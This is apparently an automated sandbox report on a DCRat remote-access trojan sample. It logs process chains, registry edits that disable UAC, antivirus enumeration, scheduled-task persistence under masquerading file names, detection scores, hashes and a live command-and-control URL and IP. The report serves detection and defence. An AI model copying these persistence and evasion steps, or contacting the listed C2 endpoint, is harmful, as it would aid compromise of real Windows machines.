Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D7ED5B cpuid

0_2_00D7ED5B

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00D7A63C

Source: C:\serversessionmonitor\blockfont.exe	Queries volume information: C:\serversessionmonitor\blockfont.exe VolumeInformation	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Queries volume information: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Queries volume information: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Queries volume information: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D7D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00D7D5D4

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D6ACF5 GetVersionExW,

0_2_00D6ACF5

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\serversessionmonitor\blockfont.exe

Registry value created: PromptOnSecureDesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\serversessionmonitor\blockfont.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: blockfont.exe PID: 7076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7900, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: blockfont.exe PID: 7076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7900, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	111 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	22 Software Packing	NTDS	131 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	123 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
5P9EdUgv5r.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
5P9EdUgv5r.exe	61%	Virustotal		Browse
5P9EdUgv5r.exe	100%	Avira	VBS/Runner.VPG
5P9EdUgv5r.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\serversessionmonitor\blockfont.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Avira	HEUR/AGEN.1323984
C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Avira	HEUR/AGEN.1323984
C:\Recovery\SearchApp.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Avira	HEUR/AGEN.1323984
C:\serversessionmonitor\blockfont.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Joe Sandbox ML
C:\Recovery\SearchApp.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	68%	Virustotal		Browse
C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	68%	Virustotal		Browse
C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe	68%	Virustotal		Browse
C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	68%	Virustotal		Browse
C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	68%	Virustotal		Browse
C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	68%	Virustotal		Browse
C:\Recovery\SearchApp.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\SearchApp.exe	68%	Virustotal		Browse
C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	68%	Virustotal		Browse
C:\serversessionmonitor\blockfont.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\serversessionmonitor\blockfont.exe	68%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
a1023624.xsph.ru	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://a1023624.xsph.ru	100%	Avira URL Cloud	malware
http://a1023624.xsph.ru/	100%	Avira URL Cloud	malware
http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs	100%	Avira URL Cloud	malware
https://index.from.sh/pages/game.html	0%	Avira URL Cloud	safe
https://cp.sprinthost.ru	0%	Avira URL Cloud	safe
http://a1023624.xsph.ru	5%	Virustotal		Browse
https://cp.sprinthost.ru	0%	Virustotal		Browse
http://a1023624.xsph.ru/	5%	Virustotal		Browse
https://cp.sprinthost.ru/auth/login	0%	Virustotal		Browse
https://index.from.sh/pages/game.html	0%	Virustotal		Browse
http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8	100%	Avira URL Cloud	malware
http://go.mic	0%	Avira URL Cloud	safe
https://cp.sprinthost.ru/auth/login	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a1023624.xsph.ru	141.8.194.149	true	true	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://a1023624.xsph.ru	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003292000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://a1023624.xsph.ru/	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003263000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cp.sprinthost.ru	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://index.from.sh/pages/game.html	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	blockfont.exe, 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.mic	qwhJcOiWbbUoQMvwnJNr.exe, 00000014.00000002.1867548337.0000000001110000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cp.sprinthost.ru/auth/login	qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.8.194.149	a1023624.xsph.ru	Russian Federation		35278	SPRINTHOSTRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502154
Start date and time:	2024-08-31 09:21:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5P9EdUgv5r.exe renamed because original name is a hash value
Original Sample Name:	1F70E167B93D471AF9DAF333145DB4CD.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@38/21@1/1
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 72% Number of executed functions: 360 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): RuntimeBroker.exe, ShellExperienceHost.exe, winlogon.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe, SearchApp.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target blockfont.exe, PID 7076 because it is empty
Execution Graph export aborted for target qwhJcOiWbbUoQMvwnJNr.exe, PID 7508 because it is empty
Execution Graph export aborted for target qwhJcOiWbbUoQMvwnJNr.exe, PID 7552 because it is empty
Execution Graph export aborted for target qwhJcOiWbbUoQMvwnJNr.exe, PID 7900 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:22:10	API Interceptor	4x Sleep call for process: qwhJcOiWbbUoQMvwnJNr.exe modified
08:22:04	Task Scheduler	Run new task: backgroundTaskHostb path: "C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe"
08:22:05	Task Scheduler	Run new task: qwhJcOiWbbUoQMvwnJNr path: "C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe"
08:22:05	Task Scheduler	Run new task: qwhJcOiWbbUoQMvwnJNrq path: "C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe"
08:22:05	Task Scheduler	Run new task: winlogon path: "C:\Program Files (x86)\windows portable devices\winlogon.exe"
08:22:05	Task Scheduler	Run new task: winlogonw path: "C:\Program Files (x86)\windows portable devices\winlogon.exe"
08:22:08	Task Scheduler	Run new task: backgroundTaskHost path: "C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe"
08:22:08	Task Scheduler	Run new task: SearchApp path: "C:\Recovery\SearchApp.exe"
08:22:08	Task Scheduler	Run new task: SearchAppS path: "C:\Recovery\SearchApp.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
141.8.194.149	ONkN42VBrA.exe	Get hash	malicious	DCRat	Browse
	W1jPemW7dh.exe	Get hash	malicious	DCRat	Browse
	5GOuTtZoQn.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse
	SecuriteInfo.com.W32.Trojan.FWF.gen.Eldorado.15788.4670.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse
	ZM7nD5Un8l.exe	Get hash	malicious	DCRat	Browse
	zMX3ObXlR6.exe	Get hash	malicious	DCRat	Browse
	jbLwhEMdSh.exe	Get hash	malicious	DCRat	Browse
	Ryf8vHLcLt.exe	Get hash	malicious	DCRat	Browse
	Linux_amd64	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINTHOSTRU	06wRHV3NYY.exe	Get hash	malicious	DCRat	Browse	141.8.192.103
	bfderfg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	141.8.197.42
	YMtjYvZX2i.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	p7oBHwDt23.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	pxkGBmsm1Y.exe	Get hash	malicious	DCRat	Browse	141.8.193.236
	N7lmWFMEgx.exe	Get hash	malicious	DCRat	Browse	141.8.192.126
	X1BQ0d74HR.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	KE4FVpmbfO.exe	Get hash	malicious	DCRat	Browse	141.8.192.151
	T3sSKdPRf4.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	rGTmuDibad.exe	Get hash	malicious	DCRat	Browse	141.8.192.126

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\Office16\8057c8f30c1a8e

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (643), with no line terminators
Category:	dropped
Size (bytes):	643
Entropy (8bit):	5.907337812318845
Encrypted:	false
SSDEEP:	12:6+d4etcQ6mMxSimjpltCJaj9I0kmZWIAAE0pQFki2AjM25nch/D4:f6gc+aa5PkmZU0pKWAjMMch/E
MD5:	51F1CE390161EFAD98BE030A4B810C35
SHA1:	97FB4306C7324A0C2943AFB3789319CB4FFFA242
SHA-256:	31077E6ED57C9ACCA6E84A54E1D3D707E4C78B15D31F684D1C2B076086BF0848
SHA-512:	C167FD430D8B62DE6D8B776983529EC12F6830062971420A60DF33C212E444502A313DA07C9151EF2BCF6A91C2FE3CA5C21D18317E185975E6A182FDAC273D18
Malicious:	false
Preview:	VBN742aV3gjswbtg7RbwyiheKnW9iEMf7qF0MZ2nohwMPROMaaV64ZzwdtwRfbwzTEuGV2ThYxHQwVP2YKiItQkh1SWdmlINv63KgI0hGyhGSjAId32V2oGCdNPDg04xp3fzbEVQTAB4sePRSN9tswVG01rT3xBQ3tbYEKrZhmC1nLT977uS1LF2iY8kXCWg9uB9C1NHgkLFuddphsW6CsZrnizpMHCfQg22JU6GtnwQAAIF4TCoqadQVTVdCi5YhpzOklfNvPMZ5Irnatv3EXzzClg08dELsXsUK3eTxz3aNDUMmrDSxBUK09L8EpOSLBriZWcgObGPdYl8RUNQZvYqDieKsgOHklOMWwwPOgDV5ErbYMruc82anBe11SysN8p2KZmeh7B3sCu81DwfydpmtyjVS5X6sUH7ZyR9kNNe68rkRfAyfS3tTDJVzRLlkFLX5xjCvx5lQLpuG8Ew4jaZbYnWp5JSBl31xUpe68DsXScIXZO1NZrBov5gJMWznmkpRy6vTk06fsCJ5f9QrSFm42MBZIUtmNEurx1icdhmiuf6twloNFIVg8vYm4WLPHUSnRbIobyNucDJXQSmgqfgEsNtCc6iGWXbaMSbUd9wR4lD4lAVluoilxN4EsFLePH

C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\8057c8f30c1a8e

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (542), with no line terminators
Category:	dropped
Size (bytes):	542
Entropy (8bit):	5.874543997183341
Encrypted:	false
SSDEEP:	12:zrNAa4tVOGjo9HmJrOcGNkT6OCkSb8gBrs1h3QEFVEJvK+:6tkGaDo6OCkSb8ggJFV7+
MD5:	473C13778837169DDA070969CBE1F6D0
SHA1:	153B237BE4660E8BB28BA33B5A9BDE3C0EBF5F5E
SHA-256:	6736B67F3A13CA6A0A2631CC44336FAB1455E119EECFD05D87EBD9E0753C3FD4
SHA-512:	4998C032AAD7B6A76713663E88986B60F4C0CA59974A631EFA1A4417364ADB551D8839C992F50AB2234F4BBCFD73EF9016E90CEAA35D69B5445BCB4F473CF869
Malicious:	false
